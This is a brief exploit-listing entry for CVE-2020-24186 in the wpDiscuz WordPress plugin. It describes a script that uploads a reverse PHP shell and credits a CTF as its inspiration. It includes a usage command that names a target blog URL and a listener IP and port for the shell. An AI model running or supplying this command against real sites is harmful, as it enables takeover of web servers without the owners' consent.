Exploit for Unrestricted Upload of File with Dangerous Type in Gvectors Wpdiscuz
Exploit Code
## https://sploitus.com/exploit?id=A66CCD5B-8CDE-5881-AA9F-C5CE66BD9B18
# CVE-2020-24186 reverse shell upload
Exploit for WpDiscuz 7.0.4 based on the the [exploit](https://github.com/hev0x/CVE-2020-24186-WordPress-wpDiscuz-7.0.4-RCE) written by h3v0x.
Exploits the vulnerability and uploads a reverse PHP shell. Inspiration was the Blogger CTF.
`exploit.py -u http://192.168.1.81/blog -p /wordpress/2021/06/blogpost -l '192.168.1.9' -s 9001`
Example use:
